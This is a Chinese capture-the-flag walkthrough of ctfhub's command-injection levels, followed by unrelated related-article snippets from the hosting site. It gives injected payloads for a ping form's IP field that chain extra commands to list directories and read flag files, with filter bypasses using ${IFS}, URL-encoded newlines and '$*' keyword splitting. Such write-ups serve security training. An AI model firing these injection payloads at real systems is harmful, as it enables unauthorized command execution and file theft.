ctfhub 命令注入

知识点

1.常见的拼接符

1、A ; B     先执行A,再执行B
2、A & B    简单的拼接
3、A | B      显示B的执行结果
4、A&&B    A执行成功之后才会执行B
5、A || B     A执行失败之后才会执行B
,           在特殊情况下可代替空格

2.常见的命令

(1)windows

1.type  显示文本文件内容
type x:\1.txt                      //显示x盘下的1.txt文件内容
type x:\1.txt | more            //分页显示x盘里1.txt的内容
more 1.txt                         //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)
2.dir  显示目录里的内容
dir                //显示当前目录里的子文件夹和文件
dir /b            //只显示当前目录子文件夹、文件的文件名
dir /p            //分页显示当前目录子文件夹、文件
dir /ad          //只显示当前目录中的文件夹
dir /a-d         //显示当目里的文件
dir x:/a         //显示x盘下a文件夹中的内容
dir 1.txt        //显示当目下1.txt的信息
dir /s            //递归显示当目中的内容   ctrl c终止当前命令
dir a*           //显示当目下a开头的文件、文件夹信息
dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序

(2)Linux

1、ls:列出目录
2、pwd:显示当前所在的目录
3、cat:由第一行开始查看文件
4、tac:由最后一行到第一行查看
5、more:逐项查看文件,按空格继续,最后自己退出
6、less:逐行查看文件,按方向键,不可主动退出,按q退出
7、head:只查看文件前十行
8、tail:只查看文件后十行

一.无过滤

表单提交数据查询

127.0.0.1 | ls

127.0.0.1 | cat 13902158133348.php

查看页面源码

二.过滤cat

127.0.0.1 | ls

用head替换cat

127.0.0.1 | head flag_177602969423543.php

查看页面源码

三.过滤空格

127.0.0.1|ls

利用${IFS}绕过空格

127.0.0.1|cat${IFS}flag_30018569826895.php

查看页面源码

四.过滤目录分割符

127.0.0.1 | ls

因为过滤了分割符,所以flag_is_here文件夹下的文件不能直接读取

先进入文件夹

127.0.0.1;cd flag_is_here;ls

读取文件内容

127.0.0.1;cd flag_is_here;cat flag_31805149391734.php

查看页面源码

五.过滤运算符

代码分析

这段代码主要是处理通过 GET 方式传递的 ip 参数。
首先,定义了一个变量 $res 并初始化为 FALSE 。
然后,通过 isset($_GET['ip']) && $_GET['ip'] 检查是否存在 ip 参数并且该参数不为空。
如果存在且符合条件,将 ip 参数的值赋给变量 $ip ,并创建一个空数组 $m 。
接着,使用 preg_match_all 函数检查 $ip 中是否包含 | 或 & 。如果不包含,执行 $cmd = "ping -c 4 {$ip}" 构建一个 ping 命令的字符串,并使用 exec 函数执行该命令,将结果存储在 $res 中。
如果 $ip 中包含了 | 或 & ,则将匹配的结果存储在 $res 中。
;并没有被过滤

127.0.0.1;ls

;cat flag_15472583520602.php

查看页面源码

六.综合过滤

代码分析

这段代码的主要目的是根据用户通过 GET 方法提交的 ip 参数执行相应的操作。

首先,初始化 $resFALSE 。然后检查是否存在 ip 参数并且其不为空。如果存在有效的 ip 参数,会进行进一步的正则表达式匹配检查。

正则表达式 /(\||&|;| |\/|cat|flag|ctfhub)/ 用于检查 ip 参数中是否包含了 |&; 、 空格 、 /catflagctfhub 等特定字符。如果不包含这些字符,就构建一个 ping -c 4 {$ip} 的命令并使用 exec 函数执行,将结果存储在 $res 中。如果包含了这些被禁止的字符,就将匹配结果存储在 $res 中。

绕过思路

%0a 换行符
%0d 回车符
$* 在shell命令执行下为空
${IFS} 表示空格

列举目录

?ip=127.0.0.1%0als

注意本体在url上修改即可

http://challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=%0als#

若要在表单提交处修改则需要注意,提交后删除url中的25后即可执行

列举文件夹下的文件

http://challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#

查看文件内容获取flag

challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_189242026830052.php#

查看页面源码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/392436.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CentOS7 VMware虚拟机基于NAT配置网络IP

目录 前言 VMnet8 虚拟网络编辑 ens33 ping 防火墙 前言 平时学习时一直需要用到Linux服务器,一般都是在Windows上安装VMware来创建一个虚拟机。创建的虚拟机需要配置网络才能够访问外网,可以通过以下两种方式来配置虚拟机网络 桥接模式NAT模式&…

「测试线排查的一些经验-上篇」 后端工程师

文章目录 端口占用脚本失灵线上部署项目结构模版配置文件生效 一般产品研发过程所使用的环境可分为: 研发环境-dev测试环境-test生产环境-prod 软件开发中,完整测试环境包括:UT、IT、ST、UAT UT Unit Test 单元测试 IT System Integration …

MoE-LLaVA: Mixture of Experts for Large Vision-Language Models

发表时间:6 Jul 2024 论文链接:https://arxiv.org/pdf/2401.15947 作者单位:Peking University Motivation:最近的进展表明,扩展大型视觉语言模型 (LVLM) 有效地提高了下游任务的性能。然而,现有的缩放方…

深度学习笔记(神经网络+VGG+ResNet)

深度学习 主要参考博客常用英语单词 概念应用神经网络基础神经网络基本结构 超参数超参数是什么常用超参数超参数搜索过程常用超参数调优办法(通过问题复杂度和计算资源选择) 激活函数介绍为什么要使用激活函数推荐博客 sigmoid激活函数(使用…

第R1周:RNN-心脏病预测

本文为🔗365天深度学习训练营 中的学习记录博客 原作者:K同学啊 要求: 1.本地读取并加载数据。 2.了解循环神经网络(RNN)的构建过程 3.测试集accuracy到达87% 拔高: 1.测试集accuracy到达89% 我的环境&a…

[windows10]win10永久禁用系统自动更新操作方法

WinR打开运行 输入regedit打开注册表 点击确定打开注册表 按照如下路径找到UX 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings 在空白处点击鼠标右键,新建选择DWORD,然后重命名为FlightSettingsMaxPauseDays 双击FlightSet…

Vue项目学习(项目的开发流程)(2)

1、vue项目的默认首页和入口文件 2、两种书写的方式是表达一样的意思——>el:指定当前Vue实例挂载到哪个区域里 3、如果属性值和属性名一致,冒号和后面可以省略不写 (所以有两种写法) 4、以".vue"文件结尾的文件在项…

Linux操作系统之进程信号

进程信号 一、信号1、概念2、系统定义的信号列表3、常见的信号处理方式 二、产生信号的方式1、终端按键(1)组合键(2)示例代码(3)运行结果 2、调用系统函数(1)kill命令(2&…

CRC16循环冗余校验

代码&#xff1a; #include<stdio.h> #include <stdint.h>#define uchar unsigned char #define uint unsigned int static const uint8_t auchCRCHi[] { 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x0…

深入理解接口测试:实用指南与最佳实践(三)API文档解析及编写测试用例

​ ​ 您好&#xff0c;我是程序员小羊&#xff01; 前言 这一阶段是接口测试的学习&#xff0c;我们接下来的讲解都是使用Postman这款工具&#xff0c;当然呢Postman是现在一款非常流行的接口调试工具&#xff0c;它使用简单&#xff0c;而且功能也很强大。不仅测试人员会使用…

pxe自动安装linux

实验环境 1.rhel7主机 2开启主机图形&#xff08;本人最小化安装&#xff0c;先下载&#xff09; 3配置网络 4关闭VMware dhcp功能 5能够自动安装系统 完成rhedhat7图形,kickstart,启动图形化制作工具 安装kickstart 启动图形化制作工具 在ks.cfg可以添加安装时下载的包 …

算法学习day29

一、乘法表中第k小的数(和有序矩阵中第k小的数类似) 题意&#xff1a; 乘法表是大小为 m x n 的一个整数矩阵&#xff0c;其中 mat[i][j] i * j&#xff08;下标从 1 开始&#xff09;。 给你三个整数 m、n 和 k&#xff0c;请你在大小为 m x n 的乘法表中&#xff0c;找出…

可视化图表与源代码显示的动态调整

可视化图表与源代码显示的动态调整 页面效果描述&#xff1a;本篇代码实现了通过拖动一个可调整大小的分隔符&#xff0c;用户可以动态地调整图表显示区域和源代码显示区域的大小。通过监听鼠标事件&#xff0c;当用户拖动分隔符时&#xff0c;会动态计算并更新两个区域的大小 …

Vue项目学习(1)

1、进入cmd命令行——> vue ui ——>等等操作 2、 3、src目录下 4、vue项目的启动 &#xff08;1&#xff09; &#xff08;2&#xff09; 5、如何更改前端vue项目的端口号&#xff1f;——>去vue.config.js里配置应一个对象

mprpc框架的应用示例

一、注册 有一个本地服务&#xff0c;我想把它发布成远程服务&#xff0c;首先在user.proto中定义rpc方法的描述&#xff0c;定义参数和响应的消息类型 然后在userservice.cc文件中通过继承UserServiceRpc这个类&#xff0c;重写一下响应的方法&#xff08;打四个动作&#xf…

shell函数的基本知识

文章目录 shell函数定义函数调用函数函数参数返回值 Shell 输入/输出重定向输入重定向输出重定向 Shell 函数是 Shell 脚本编程中的一个非常有用的特性&#xff0c;它允许你将一段代码封装起来&#xff0c;给它一个名字&#xff08;函数名&#xff09;&#xff0c;然后在脚本的…

低代码: 开发难点分析,核心技术架构设计

开发难点分析 1 &#xff09;怎样实现组件 核心问题&#xff1a;编辑器 和 页面其实整个就是一系列元素构成的这些元素的自然应该抽象成组件&#xff0c;这些组件的属性应该怎样设计在不同的项目中怎样做到统一的使用 2 &#xff09;跨项目使用 在不同的项目中怎样做到统一的…

【Linux】线程互斥

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前正在学习c和算法 ✈️专栏&#xff1a;Linux &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章有啥瑕疵&#xff0c;希望大佬指点一二 如果文章对…

C# Unity 面向对象补全计划 七大原则 之 依赖倒置原则 (DIP)难度:☆☆ 总结:多抽象,多接口,少耦合

本文仅作学习笔记与交流&#xff0c;不作任何商业用途&#xff0c;作者能力有限&#xff0c;如有不足还请斧正 本系列作为七大原则和设计模式的进阶知识&#xff0c;看不懂没关系 请看专栏&#xff1a;http://t.csdnimg.cn/mIitr&#xff0c;查漏补缺 1.依赖倒置原则 (DIP) 这…

「队列」实现FIFO队列(先进先出队列|queue)的功能 / 手撕数据结构(C++)

概述 队列&#xff0c;是一种基本的数据结构&#xff0c;也是一种数据适配器。它在底层上以链表方法实现。 队列的显著特点是他的添加元素与删除元素操作&#xff1a;先加入的元素总是被先弹出。 一个队列应该应该是这样的&#xff1a; --------------QUEUE-------------——…